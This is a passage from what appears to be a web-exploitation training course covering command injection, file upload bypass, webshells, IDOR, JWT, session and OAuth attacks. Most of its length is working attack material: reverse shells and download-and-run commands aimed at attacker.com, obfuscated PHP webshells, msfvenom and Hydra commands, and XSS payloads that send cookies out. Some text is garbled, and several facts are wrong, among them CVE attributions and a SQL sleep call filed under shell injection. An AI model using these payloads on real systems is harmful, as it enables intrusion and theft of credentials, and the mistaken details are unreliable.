Command injection occurs when user input is passed to system shell functions (system(), exec(), shell_exec(), popen(), proc_open()) without proper sanitization. The attacker injects shell metacharacters to execute arbitrary commands.

Why it matters:

  • Direct OS command execution on the server
  • Root/Administrator access in many cases
  • Full server takeover
  • Lateral movement to other systems

Vulnerable Code Patterns

PHP:

// DANGEROUS
system("ping " . $_GET['host']);
exec("nslookup " . $_GET['host']);
shell_exec("ping -c 3 " . $_GET['host']);
popen("ping -c 3 " . $_GET['host'], "r");
proc_open("ping -c 3 " . $_GET['host'], $descriptors, $pipes);

Python:

# DANGEROUS
import os
os.system(f"ping -c 3 {request.args.get('host')}")
subprocess.call(f"ping -c 3 {request.args.get('host')}", shell=True)

Node.js:

// DANGEROUS
const { exec } = require('child_process');
exec(`ping -c 3 ${req.query.host}`);

Shell Metacharacters

Metacharacter Purpose Example
; Command separator ; whoami
| Pipe output | whoami
& Background + separator & whoami
&& Run if previous succeeds && whoami
|| Run if previous fails || whoami
` Command substitution `whoami`
$() Command substitution $(whoami)
> Redirect output > /etc/passwd
< Input redirect < /etc/passwd
\n Newline (newline injection) %0a whoami

Command Injection Payloads

Basic detection:

; whoami
| whoami
& whoami
&& whoami
`whoami`
$(whoami)
\nwhoami

Blind command injection (no output):

; sleep 5
| sleep 5
& sleep 5
&& sleep 5
|| sleep 5

File operations:

; cat /etc/passwd
| head /etc/passwd
& type /etc/passwd  (Windows)

Out-of-band exfiltration:

; curl http://attacker.com/$(whoami)
; wget http://attacker.com/?x=$(cat /etc/passwd)

Time-Based Blind Detection

MySQL/PostgreSQL:

; SELECT pg_sleep(5)--
; SLEEP(5)--

Testing in Burp:

  1. Find the command injection parameter
  2. Inject: ; sleep 5
  3. If response takes ~5 seconds → confirmed
  4. For exploitation, use DNS exfiltration or reverse shell

PortSwigger Lab: Command Injection in Ping Feature

Lab: Stock check feature executes ping command. Goal: read /etc/passwd.

Vulnerable request:

POST /product/stock
stockApi=127.0.0.1

Server executes: ping -c 3 127.0.0.1

Step 1: Detect command injection

POST /product/stock
stockApi=127.0.0.1; whoami

If response contains www-data or command output → confirmed.

Step 2: Read file via command substitution

POST /product/stock
stockApi=127.0.0.1; cat /etc/passwd

Step 3: Alternative — command substitution

POST /product/stock
stockApi=127.0.0.1$(cat /etc/passwd)

Step 4: If semicolons blocked, try newlines

POST /product/stock
stockApi=127.0.0.1%0Acat%20/etc/passwd

Step 5: Reverse shell

POST /product/stock
stockApi=127.0.0.1; bash -i >& /dev/tcp/attacker.com/4444 0>&1

Real-World: Shellshock (CVE-2014-6271)

The () { :; }; pattern in User-Agent or other headers:

curl -A "() { :; }; /bin/bash -c 'whoami'" http://target.com/cgi-bin/status

Remediation

NEVER pass user input to shell functions:

// SAFE: Use parameterized approach
$host = escapeshellarg($_GET['host']);
system("ping -c 3 " . $host);
# SAFE: Don't use shell=True
import subprocess
result = subprocess.run(["ping", "-c", "3", host], capture_output=True, text=True)

Lesson 22: File Upload Vulnerabilities

What is File Upload?

Web applications that accept file uploads (profile pictures, document uploads, attachments) without proper validation are a primary attack surface. A successful upload can lead to RCE.

Why it matters:

  • Direct path to Remote Code Execution
  • Uploaded files often executable by web server
  • Bypassing authentication
  • Serving malware to other users

Vulnerable Code

<?php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);
?>

No validation. Any file type accepted.

Extension Bypass

Blacklist bypass (block .php but not .php5, etc.):

shell.php → blocked
shell.php5 → accepted
shell.phtml → accepted
shell.phar → accepted
shell.php4 → accepted
shell.php3 → accepted

Case variation:

shell.PhP
shell.PHP
shell.pHP

Double extension:

shell.jpg.php
shell.php.jpg
shell.php.png

Null byte (old PHP):

shell.php%00.jpg

The %00 truncates, saving as shell.php.

ASP/IIS:

shell.asp
shell.aspx
shell.asa
shell.htw (Windows)

Apache MIME type tricks:

AddType application/x-httpd-php .pwn

Content-Type Validation Bypass

Vulnerable check:

if ($_FILES["file"]["type"] == "image/jpeg") {
    // accept
}

Bypass: Intercept the upload request in Burp and change:

Content-Type: application/x-php

to:

Content-Type: image/jpeg

Polyglot Files (JPEG+PHP)

A valid JPEG image with PHP code appended:

# Create polyglot: valid JPEG header + PHP code
echo -e '\xFF\xD8\xFF\xE0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00\xFF\xD9' > shell.jpg
echo '<?php system($_GET["cmd"]); ?>' >> shell.jpg

Or use exiftool:

exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg -o shell.jpg

Upload shell.jpg — server sees it as image, but PHP engine may still parse <?php.

GIF89a Header Bypass

// Checks for GIF magic bytes
if (substr($content, 0, 6) == "GIF89a") {
    // accept as image
}
# Create shell with GIF header
printf 'GIF89a;' > shell.gif
cat shell.php >> shell.gif

Upload as shell.gif, access as shell.gif.php.

Image Upload Bypass: Pixel洪水

For strict content-type + magic byte validation, embed PHP in EXIF data:

exiftool -Comment='<?php system($_GET["cmd"]); ?>' photo.jpg

If the server reads EXIF metadata for display but doesn't sanitize output, the PHP code in EXIF gets executed.


Lesson 23: Webshell Basics

What is a Webshell?

A webshell is a piece of code (PHP/ASP/JSP) that provides command execution capabilities through a web interface. After uploading, the attacker accesses it via HTTP to run commands.

Basic PHP Webshell

One-liner:

<?php system($_GET['cmd']); ?>

POST variant (less visible in logs):

<?php eval($_POST['x']); ?>

Usage:

GET /uploads/shell.php?cmd=whoami
POST /uploads/shell.php with body: x=whoami

Feature-Rich Webshell

<?php
// webshell.php — full-featured command execution
if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    $cmd =($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
}
if(isset($_REQUEST['x'])){
    eval($_REQUEST['x']);
}
?>

The Essential Toolkit

PentesterMonkey (PHP):

<?php
// Upload this, access via ?cmd=whoami
echo "<pre>"; system($_GET['cmd']); echo "</pre>";
?>

Weevely (Python-generated PHP):

# Generate
weevely generate password123 /tmp/shell.php

# Connect
weevely http://target.com/uploads/shell.php password123
# Gives interactive shell

meterpreter PHP payload:

msfvenom -p php/meterpreter/reverse_tcp LHOST=attacker.com LPORT=4444 -o shell.php

Webshell Obfuscation

Base64:

<?php
eval(base64_decode("c3lzdGVtKCRfR0VUWydjbWQnXSk7"));
?>

Where the base64 decodes to: system($_GET['cmd']);

Hex:

<?php
eval("\x73\x79\x73\x74\x65\x6d\x28\x24\x5f\x47\x45\x54\x5b\x27\x63\x6d\x64\x27\x5d\x29\x3b");
?>

String concatenation:

<?php
$a = "sys" . "tem";
$a($_GET['cmd']);
?>

** ROT13:**

<?php
$cmd = str_rot13($_GET['cmd']);
system($cmd);
?>

Webshell Detection

Look for:

system()
exec()
shell_exec()
passthru()
popen()
proc_open()
proc_close()
pcntl_exec()
assert()
preg_replace() with /e modifier
create_function()
call_user_func()
call_user_func_array()

Log files to check:

/var/log/apache2/access.log
/var/log/nginx/access.log
/var/log/httpd/error_log

Cobalt Strike Webscript

<?php
# web keel
@error_reporting(0);
@ini_set("error_log",NULL);
@ini_set("log_errors",0);
@ini_set("max_execution_time",0);
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set("memory_limit",-1);

if(isset($_REQUEST["z1"])){
    $c=@$_REQUEST["z2"];
    $k=@$_REQUEST["z3"];
    $d=@$_REQUEST["z4"];
    $cf=array($c,$k,$d);
    foreach($cf as $resource){
        $resource(@base64_decode($resource));
    }
}
?>

Lesson 24: Race Conditions

What is a Race Condition?

A race condition (TOCTOU — Time-of-check to Time-of-use) occurs when the security check and the operation use the same resource at different times. An attacker can exploit the gap between check and use.

Classic scenario:

  1. Upload check: file looks clean
  2. Between check and save: file is swapped
  3. File saved: malicious version stored

Race Condition in File Upload

<?php
// Step 1: Check if file is safe
if(is_uploaded_file($_FILES['file']['tmp_name'])) {
    // Step 2: Some processing time here
    // Step 3: Save file
    move_uploaded_file($_FILES['file']['tmp_name'], "uploads/" . $_FILES['file']['name']);
}
?>

Between step 1 and 3, attacker could swap the file.

Exploitation:

import requests
import threading

url = "http://target.com/upload"
evil = open("shell.php", "rb")

def upload():
    while True:
        files = {'file': evil}
        r = requests.post(url, files=files)

threads = [threading.Thread(target=upload) for _ in range(50)]
for t in threads:
    t.start()

CSV Injection (Formula Injection)

Upload a CSV file containing formulas:

Name,Email,Amount
John,john@example.com,=SUM(1,2)
"=CMD|' /C calc'!A0","a@b.com","100"

When opened in Excel/Google Sheets:

  • =SUM(1,2) executes as formula
  • =CMD|... attempts to execute system commands

Real impact: When a bank processes uploaded CSV containing:

Amount
=IMPORTHTML("http://evil.com/malicious.html","table",0)

This could potentially leak data or execute commands.

HMAC Race Condition

If a signature is checked, then the operation uses the raw data:

# Check
if verify_hmac(signature, data):
    # Use
    process(data)

Between check and use, data could be changed.

Concurrent Request Exploitation

Rate limit bypass:

# 100 concurrent requests to endpoint with rate limit of 10/minute
# Each request appears to come from different session

OTP race condition:

# OTP verified, then reused
# Attacker sends 1000 OTP guesses simultaneously
# One will match before the server invalidates it

Lesson 25: IDOR (Insecure Direct Object Reference)

What is IDOR?

IDOR occurs when an application exposes internal object references (IDs, filenames, keys) and doesn't verify the user's authorization to access that object. The reference is direct, not through a proper access control mechanism.

Why it matters:

  • Horizontal privilege escalation (access other users' data)
  • Vertical privilege escalation (access admin data)
  • Found in almost every web application
  • High impact: GDPR violations, financial exposure

Examples

URL-based IDOR:

GET /invoice?num=1001  → Your invoice
GET /invoice?num=1002  → Another user's invoice

API-based IDOR:

GET /api/profile/1  → Your profile
GET /api/profile/2  → Another user's profile

Cookie-based IDOR:

Cookie: user_id=1  → Your account
Cookie: user_id=2  → Another user's account

Filename-based IDOR:

GET /download?file=report.pdf  → Your report
GET /download?file=../../etc/passwd  → System file

Finding IDOR

Step 1: Map all resource references

  • Numeric IDs: /user/1, /order/123, /product/456
  • UUIDs: /api/abc123-def456
  • Filenames: /download?file=report.pdf

Step 2: Enumerate

for i in range(1, 1000):
    r = requests.get(f"/api/profile/{i}", cookies=session)
    if r.status_code == 200:
        print(f"Found profile {i}")

Step 3: Test authorization boundary

  • Your resource at /api/profile/1
  • Try /api/profile/2, /api/profile/3
  • If you see another user's data → IDOR confirmed

Real-World Bug Bounty: Facebook IDOR

Vulnerability: When downloading your Facebook data, the download link was:

https://www.facebook.com/ajax/lookahead/ads_archive_download?token=ABC123

The token was a simple token without proper user binding. An attacker could:

  1. Request their own data download
  2. Intercept the download URL
  3. Share that URL with others (anyone could download)

Fix: Bind download tokens to user sessions + short expiration.

Horizontal vs Vertical Escalation

Horizontal: Access resources at the same privilege level

GET /api/users/2/profile  → You are user 1, viewing user 2's profile
Both are regular users. Same privilege level.

Vertical: Access resources at higher privilege level

GET /api/admin/users  → Regular user accessing admin endpoint
GET /api/admin/settings  → Regular user accessing admin settings

Mass Assignment (Hidden Parameter Manipulation)

Scenario: User profile edit form has:

<input name="username" value="attacker">
<input name="email" value="attacker@evil.com">
<!-- IsAdmin hidden field -->
<input type="hidden" name="is_admin" value="false">

Exploitation: In Burp, change:

is_admin=false → is_admin=true

Or remove the parameter entirely, or add it if not present.

IDOR in Password Reset

Flow:

  1. User requests password reset → POST /reset with email=user@target.com
  2. Email sent with reset link: http://target.com/reset?token=ABC123&user_id=1
  3. Token is predictable or reused
  4. Attacker changes user_id=2 → resets admin's password

Real bug: Twitter password reset (CVE-2022-32209):

  • Sequential tokens
  • Attacker could reset any user's password

Preventing IDOR

Always authorize:

def get_profile(request, user_id):
    # Fetch the requested profile
    profile = Profile.objects.get(id=user_id)
    # CRITICAL: Verify authorization
    if request.user.id != profile.id and not request.user.is_admin:
        raise PermissionDenied()
    return profile

Use indirect references:

# Instead of: /api/profile/123
# Use: /api/profile?ref=abc123xyz (random, non-sequential)

Bind to session:

# Every resource access checks session
if resource.user_id != request.session['user_id']:
    raise PermissionDenied()

Exercise 9: Command Injection to Reverse Shell

Objective: Exploit command injection in a ping feature to gain a reverse shell.

Lab: PortSwigger "OS command injection"

Steps:

  1. Find the ping feature at /product/stock
  2. In Burp Repeater, test command injection:
POST /product/stock
stockApi=127.0.0.1; whoami

Response shows www-data

  1. Start netcat listener on attacker box:
nc -lvnp 4444
  1. Inject reverse shell:
POST /product/stock
stockApi=127.0.0.1; bash -i >& /dev/tcp/attacker.com/4444 0>&1
  1. Verify shell:
whoami
# www-data
id
# uid=33(www-data) gid=33(www-data)
  1. Upgrade to meterpreter:
# In the shell
curl http://attacker.com:8080/shell.elf -o /tmp/shell.elf && chmod +x /tmp/shell.elf && /tmp/shell.elf
Solution

Full exploit chain:

  1. Setup listener:
nc -lvnp 4444
  1. Inject (URL encoded):
POST /product/stock HTTP/1.1
Host: ac061f81.example.com
Content-Type: application/x-www-form-urlencoded

stockApi=127.0.0.1%26%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fattacker.com%2F4444%200%3E%261
  1. Or using semicolon:
stockApi=127.0.0.1; bash -i >& /dev/tcp/attacker.com/4444 0>&1
  1. Confirm:
# On netcat listener:
www-data@server:/var/www/html$
  1. Stabilize:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+Z  # Background shell
stty raw -echo; fg  # Bring back to foreground
export TERM=xterm

Exercise 10: IDOR to Access Admin Panel

Objective: Find and exploit IDOR to access the admin panel without authentication.

Lab: PortSwigger "IDOR vulnerability with direct reference to hidden admin panel"

Steps:

  1. Log in as a regular user (wiener:peter)
  2. Browse the application normally
  3. In Burp Proxy history, look for references to admin pages:
    • /admin
    • /admin/users
    • /admin/roles
    • /admin/logs
  4. Try accessing /admin directly as regular user → 401 Unauthorized
  5. Look for API endpoints that list resources:
    • /api/orders
    • /api/profile
  6. Notice the URL pattern: /api/profile/1 (your user ID)
  7. Change to /api/profile/2 or /api/profile/3
  8. If admin user is ID 2: /api/profile/2 returns admin data
  9. Escalate: Find admin-only endpoints:
    • /admin/delete?userId=1
    • /admin/roles?userId=2
  10. Use IDOR to perform admin actions as a regular user
Solution

Step-by-step:

  1. Login as wiener:
POST /login
username=wiener&password=peter
→ Cookie: session=abc123
  1. View your profile:
GET /api/profile/1
→ {"id":1,"username":"wiener","role":"user"}
  1. Enumerate user IDs:
GET /api/profile/2
→ {"id":2,"username":"administrator","role":"admin"}
  1. Admin panel access:
GET /admin
→ 401 Unauthorized (browser checks client-side)

GET /admin
→ 200 OK (Burp allows it — no server-side check)
  1. Admin action via IDOR:
POST /admin/delete HTTP/1.1
Cookie: session=abc123
userId=1
→ Deletes user 1 (wiener) — regular user action on another user

The key insight: the server checks authentication but NOT authorization for some admin endpoints.


Summary Table

Lesson Topic Key Technique Impact
21 Command Injection Shell metacharacters RCE on server
22 File Upload Extension/MIME bypass Webshell upload
23 Webshell PHP/ASP/JSP shells Persistent RCE
24 Race Conditions TOCTOU exploitation Bypass checks, data leak
25 IDOR Direct object reference Access other users' data

Quick Reference: File Upload Bypass Cheat Sheet

Bypass Payload Notes
Double extension shell.php.jpg .jpg passes MIME check
Case variation shell.PhP Case-insensitive IIS
Null byte shell.php%00.jpg Truncates in old PHP
IIS特殊 shell.asp;, shell.php; Semicolon parsing
Apache shell.php.jpg.jpg mod_php sees last .php
MIME type Change Content-Type header No file content check
Polyglot Valid JPEG header + PHP GIF89a trick
EXIF PHP in metadata exiftool injection

Next Module: Authentication Flaws, JWT Attacks, and Session Management. We'll cover credential stuffing, password reset flaws, and JWT manipulation.

Module 6: Authentication Flaws, JWT Attacks, Session Management

Lesson 26: Authentication Fundamentals

How Authentication Works

Three factors:

  1. Something you know — Password, PIN, security question
  2. Something you have — Phone (OTP), hardware token, smart card
  3. Something you are — Fingerprint, face, iris

Best practice: Multi-factor (2FA/MFA) combining two different factors.

Authentication vs Authorization

  • Authentication: Who are you? (Login)
  • Authorization: What can you access? (Permissions)

IDOR is an authorization flaw. This module is about authentication flaws.

Common Authentication Mechanisms

Session-based (traditional):

1. User submits credentials
2. Server validates → creates session record
3. Server returns session ID (Set-Cookie)
4. Client sends session ID with every request
5. Server looks up session → identifies user

Token-based (JWT):

1. User submits credentials
2. Server validates → generates signed token
3. Server returns token
4. Client sends token with every request
5. Server verifies signature → identifies user

API Key-based:

1. User includes API key in header: X-API-Key: abc123
2. Server validates key → identifies user

Common Password Storage

Insecure:

// DANGEROUS: Plain text or MD5
$password = $_POST['password'];

Better:

// MD5 (still bad — rainbow tables)
$hash = md5($password);

Good:

// bcrypt (adaptive cost)
$hash = password_hash($password, PASSWORD_BCRYPT);

Best:

// Argon2i (modern, memory-hard)
$hash = password_hash($password, PASSWORD_ARGON2ID);

Lesson 27: Broken Authentication

Credential Stuffing

Using stolen credentials from data breaches to log into other services. People reuse passwords.

Why it works: 60%+ of people reuse passwords.

Automation:

import requests

credentials = [
    ("user1@example.com", "password123"),
    ("admin@target.com", "password123"),
    ("user@target.com", "target2019"),
]

for email, password in credentials:
    r = requests.post("https://target.com/login", 
        data={"email": email, "password": password})
    if "Welcome" in r.text:
        print(f"SUCCESS: {email}:{password}")

Protection: Rate limiting, CAPTCHA, device fingerprinting, 2FA.

Brute Force

Guessing passwords through automated enumeration.

Weak vs strong protection:

Protection Bypass
No protection 1000 guesses/second
Account lockout Lock after 5 failures → DoS users
CAPTCHA Can be defeated with ML
IP block Rotate IPs, use proxies
Progressive delay 1s, 2s, 4s, 8s... → 10^6 guesses takes years

Hydra (HTTP Basic Auth):

hydra -l admin -P /usr/share/wordlists/rockyou.txt target.com http-post-form "/login:username=^USER^&password=^PASS^:Invalid"

Hydra (HTTP Digest):

hydra -l admin -P /usr/share/wordlists/rockyou.txt target.com http-get "/admin:F=Failed"

Password Reset Flaws

1. Token predictable/sequential:

# DANGEROUS: Token is user ID + timestamp
token = hashlib.md5(f"{user_id}{datetime.now().timestamp()}".encode())
# Attacker can generate valid tokens for any user

2. Token not bound to user session:

User A requests reset for user B
Token sent to user A's email
But token works for user B's account

3. Email injection in reset:

Email: victim@target.com%0a%0dBcc: attacker@evil.com

Injecting newlines can add BCC field → token sent to attacker too.

4. Password reset via GET:

GET /reset?token=ABC123&password=newpass123
Token visible in logs, referrer, browser history

5. Null byte in token:

token=ABC123%00

May bypass token comparison (string truncation).

Real-World: Twitter Password Reset (CVE-2022-32209)

Vulnerability: Password reset token was a JWT with none algorithm. Impact: Any user could reset any other user's password.

Exploitation:

import jwt

# Create token with alg: none
token = jwt.encode(
    {"user_id": 123456789, "alg": "none"},
    "",  # No secret
    algorithm="none"
)
# Send password reset with this token

Session Fixation

Attack:

  1. Attacker visits target site → gets session ID: abc123
  2. Attacker tricks victim into using abc123 (via link: http://target.com/?session=abc123)
  3. Victim logs in with abc123
  4. Attacker uses abc123 → authenticated as victim

Protection: Regenerate session ID after login.


Lesson 28: JWT (JSON Web Token) Attacks

JWT Structure

A JWT has three parts separated by dots:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.abc123signature

Decoded:

Header: {"alg":"HS256","typ":"JWT"}
Payload: {"user_id":1,"username":"admin","role":"admin"}
Signature: abc123signature

Header + Payload are base64-encoded (readable).

JWT vs JWS vs JWE

  • JWT (JSON Web Token) — the standard
  • JWS (JSON Web Signature) — signed JWT (what we usually call JWT)
  • JWE (JSON Web Encryption) — encrypted JWT

Most web apps use JWS (signed, not encrypted).

HS256 vs RS256

HS256 (HMAC with SHA-256):

  • Symmetric key: same key for signing AND verifying
  • Key must be kept secret
  • Used when server controls both sides

RS256 (RSA with SHA-256):

  • Asymmetric: private key signs, public key verifies
  • Public key can be shared
  • Used in OAuth/OIDC

Common JWT Vulnerabilities

1. Algorithm None (alg: none):

{"alg": "none", "typ": "JWT"}

No signature verification. Attacker modifies payload, sets alg to none.

2. Key Confusion (HS256 → RS256):

# Server uses RS256 (public key to verify)
# But HS256 uses symmetric secret
# If server accepts HS256 with RS256's public key as secret:

Attacker signs with HS256 using the public key as the secret.

3. Weak Secret:

# Brutable secret
secret = "secret"  # or "1234", "password", "admin"
# Cracking with hashcat or jwt_tool
hashcat -m 16500 jwt.txt wordlist.txt
jwt_tool.py -C -d wordlist.txt -X -t "jwt.txt"

4. No signature verification:

# Server trusts any token with valid structure
# Doesn't verify signature at all

5.Kid (Key ID) injection:

{"alg": "HS256", "kid": "../../../etc/passwd"}

If kid is used to load the key from filesystem without sanitization.

JWT Attack Lab: PortSwigger

Lab: JWT authentication bypass via algorithm confusion.

Setup: Target uses RS256. Goal: access admin panel as admin.

Step 1: Get the public key

GET /jwk
→ {"kty":"RSA","n":"...","e":"AQAB"}

Step 2: Use jwt_tool to perform attack:

python3 jwt_tool.py eyJhbGciOiJSUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6InBpbmUiLCJyb2xlIjoidXNlciJ9.abc123 -X -k publickey.pem

Step 3: Modify payload:

import jwt

# Original token (user, not admin)
original = "eyJhbGciOiJSUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6InBpbmUiLCJyb2xlIjoidXNlciJ9.abc123"

# With public key as secret (key confusion attack)
modified = jwt.encode(
    {"user_id": 1, "username": "peter", "role": "admin"},
    open("publickey.pem").read(),
    algorithm="HS256"
)

Step 4: Use modified token:

GET /admin HTTP/1.1
Authorization: Bearer eyJhbGciOiJSUzI1NiJ9...
→ 200 OK, admin panel

JWT Session Hijacking

Attack: Steal JWT via XSS.

// Injected via XSS
document.location = "http://attacker.com/?c=" + document.cookie;

If HttpOnly is set: Cookies with HttpOnly can't be read by JS. But JWT might be stored in localStorage:

// Attacker page
fetch('http://attacker.com/steal?token=' + localStorage.getItem('jwt'))

Prevention:

  • Store JWT in HttpOnly cookie
  • Implement short expiration (15 min)
  • Implement refresh token rotation
  • Validate jti (JWT ID) to prevent replay

Lesson 29: Session Management Attacks

Session Fixation vs Session Hijacking

Session Fixation: Attacker sets/prevents the session ID before victim logs in. Session Hijacking: Attacker steals an existing valid session ID.

Session Hijacking Techniques

1. XSS (most common):

new Image().src = "http://attacker.com/log?c=" + document.cookie;

2. Network Sniffing (unencrypted WiFi):

# ARP spoof + wireshark
ettercap -T -M ARP -i eth0 /router// /target//

3. Referer header leakage:

GET /private HTTP/1.1
Referer: http://target.com/private?session=abc123

If target links to external site, session ID leaks via Referer.

4. URL parameter leakage:

http://target.com/dashboard?session=abc123

If shared, logged, or cached, session ID is exposed.

5. Cross-Site Scripting (XSS) on related domain:

blog.target.com has XSS
Attacker steals session cookie from main app

Session Token Patterns

Weak tokens:

# Sequential
session=1000
session=1001

# Time-based predictable
session=1640995200  # Unix timestamp

# User info encoded (no signature)
session=base64("user_id=1&role=admin")

Strong tokens:

session=abc123def456...  # 256-bit random
# Cryptographically random, non-guessable

Clickjacking

Attack: Invisible iframe overlaid on button.

<iframe src="http://target.com/transfer?to=attacker&amount=10000" style="opacity:0">
<button style="position:absolute;top:500px;left:500px">Click to win!</button>

Victim clicks "win" button but actually clicks transfer button.

Protection:

X-Frame-Options: DENY  # or SAMEORIGIN
Content-Security-Policy: frame-ancestors 'none'

Real-World: Facebook Session Hijacking

CVE-2011-0447:

  • Facebook used MD5 of timestamp + secret for session tokens
  • Predictable → Session hijacking possible
  • Fixed by switching to cryptographically random tokens

Lesson 30: OAuth 2.0 Vulnerabilities

OAuth 2.0 Flow

Authorization Code Grant (the safe one):

1. User clicks "Login with Google"
2. Redirect to Google: https://google.com/oauth/authorize?client_id=...&redirect_uri=...&scope=email
3. User approves
4. Google redirects back: https://app.com/callback?code=ABC123
5. App exchanges code for token: POST to Google token endpoint
6. Google returns access_token + refresh_token
7. App uses access_token to fetch user info

OAuth Vulnerabilities

1. Redirect URI Validation:

# VULNERABLE: Only checks if contains expected domain
if "target.com" in redirect_uri:
    # approve

Bypass: http://target.com.evil.com

2. State Parameter Not Used: Without state parameter, CSRF is possible.

1. Attacker initiates OAuth flow, gets auth URL
2. Tricks victim into clicking auth URL
3. Victim authenticates, redirected to attacker's callback
4. Attacker gets auth code, exchanges for token

3. Scope Escalation:

# User approves: read email only
# But attacker modifies scope to: read email + publish posts

4. Token Leakage via Referer:

# If redirect_uri is on HTTPS but links to HTTP
# Referer header leaks token

OAuth Lab: PortSwigger

Lab: OAuth account hijotiation via redirect URI bypass.

Step 1: Analyze the OAuth flow Visit /auth?client_id=...&redirect_uri=...

Step 2: Test redirect_uri validation

GET /auth?client_id=abc&redirect_uri=http://evil.com
→ Rejected

GET /auth?client_id=abc&redirect_uri=http://target.com.evil.com
→ Redirects to evil.com

Step 3: Extract code

1. Attacker initiates OAuth flow
2. Victim clicks attacker's link: /auth?client_id=abc&redirect_uri=http://target.com.evil.com
3. Victim authenticates
4. Redirects to http://target.com.evil.com/callback?code=ABC123
5. Attacker captures code

Step 4: Exchange code

import requests
r = requests.post("https://target.com/oauth/token",
    data={"code": "ABC123", "client_id": "abc"})
# Returns access_token

Step 5: Use token

r = requests.get("https://api.target.com/user",
    headers={"Authorization": f"Bearer {access_token}"})
# Returns victim's account data

Exercise 11: JWT Algorithm None Bypass

Objective: Bypass JWT authentication by setting algorithm to none.

Lab: PortSwigger "JWT authentication bypass via algorithm none"

Steps:

  1. Login as wiener:peter, intercept the JWT
  2. Decode the JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6IndpZW5lciIsInJvbGUiOiJ1c2VyIn0.abc123signature
  1. In Burp Decoder, modify the payload:
{"user_id":1,"username":"wiener","role":"admin"}
  1. In Burp Repeater, modify the header:
{"alg":"none","typ":"JWT"}
  1. Send request with modified token:
GET /admin HTTP/1.1
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6IndpZW5lciIsInJvbGUiOiJhZG1pbiJ9.
  1. If successful, admin panel is accessible.
Solution

Using jwt_tool.py:

python3 jwt_tool.py -I -A none -pc "user_id:1,username:wiener,role:admin" -pr "" eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6IndpZW5lciIsInJvbGUiOiJ1c2VyIn0.abc123signature

Manual approach in Burp:

  1. Decode JWT from Base64
  2. Change role from "user" to "admin"
  3. Change alg from "HS256" to "none"
  4. Remove signature (third part should be empty or omitted)
  5. Encode header and payload again
  6. Send with no signature part (trailing dot required)

Python script:

import base64
import json

def b64url_encode(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header = {"alg": "none", "typ": "JWT"}
payload = {"user_id": 1, "username": "wiener", "role": "admin"}

token = b64url_encode(json.dumps(header).encode()) + "." + b64url_encode(json.dumps(payload).encode()) + "."
print(token)

Exercise 12: Session Hijacking via XSS

Objective: Steal admin session cookie via stored XSS, then use it to access admin panel.

Lab: PortSwigger "Stored XSS with CSP bypass"

Steps:

  1. Find a stored XSS in the blog comment section
  2. Inject payload to steal cookie:
<script>
fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie));
</script>
  1. Set up netcat listener on attacker box:
nc -lvnp 8080
  1. Wait for admin to view the blog (admin visits the page to moderate comments)

  2. Capture the cookie:

GET /steal?cookie=session=abc123admin HTTP/1.1
Host: attacker.com
  1. Use the stolen cookie in Burp:
GET /admin HTTP/1.1
Cookie: session=abc123admin
  1. Access admin panel.
Solution

Step 1: Find XSS in comment field

  • Post comment with <script>alert(1)</script>
  • Confirm it executes on page load

Step 2: Set up exfiltration

# On attacker
nc -lvnp 8080

Step 3: Inject cookie stealer

<script>
new Image().src="http://attacker.com:8080/"+document.cookie;
</script>

Step 4: Wait for admin

  • Admin visits page to approve/reject comments
  • XSS fires, sends cookie to attacker

Step 5: Use cookie

# In Burp, intercept any request
# Replace Cookie header with stolen cookie
# Forward → authenticated as admin

Step 6: Full account takeover

  • Change admin password
  • Add new admin account
  • Extract user data

Summary Table

Lesson Topic Key Technique Impact
26 Auth Fundamentals 3 factors, session vs token Understanding base
27 Broken Auth Brute force, reset flaws Account takeover
28 JWT Attacks None algorithm, key confusion Privilege escalation
29 Session Management Fixation, hijacking, clickjacking Session theft
30 OAuth Vulnerabilities URI bypass, state CSRF Account linking hijack

Quick Reference: JWT Attack Cheat Sheet

Attack Payload Fix
Algorithm none {"alg":"none"} Verify signature always
Key confusion Use RS256 public key as HS256 secret Use correct algorithm per key type
Weak secret Crack with wordlist Strong random secret
kid injection {"kid":"../../etc/passwd"} Sanitize kid, use jku
jku injection {"jku":"http://evil.com/jwk"} Whitelist jku URLs
kty omission {"kty":"oct"} without alg Validate kty matches alg

Next Module: WordPress Exploitation — the most common CMS in the world. We'll cover plugin vulnerabilities, theme exploits, authentication bypass, and real-world CTF examples.

Module 7: WordPress Exploitation — Plugins, Themes, Authentication

Lesson 31: WordPress Architecture

Why WordPress?

WordPress powers 43%+ of all websites. Large attack surface. Many plugins, many vulnerabilities.

Statistics:

  • 60,000+ plugins in repository
  • 10,000+ themes
  • Custom plugin/theme development common
  • Many sites never update

Attack surface:

  • Core WordPress vulnerabilities (rare but critical)
  • Plugin vulnerabilities (most common)
  • Theme vulnerabilities
  • Configuration issues
  • Authentication flaws

WordPress Directory Structure

/var/www/html/ (or /var/www/wordpress/)
├── wp-admin/           # Admin panel
├── wp-content/
│   ├── plugins/        # Your plugins
│   ├── themes/         # Your themes
│   ├── uploads/        # User uploads
│   └── cache/         # Cache
├── wp-includes/       # WordPress core
├── wp-config.php      # Database credentials
├── .htaccess          # Apache config
└── wp-login.php       # Login page

Key Files

wp-config.php:

define('DB_NAME', 'wordpress');
define('DB_USER', 'wp_user');
define('DB_PASSWORD', 'SecurePassword123!');
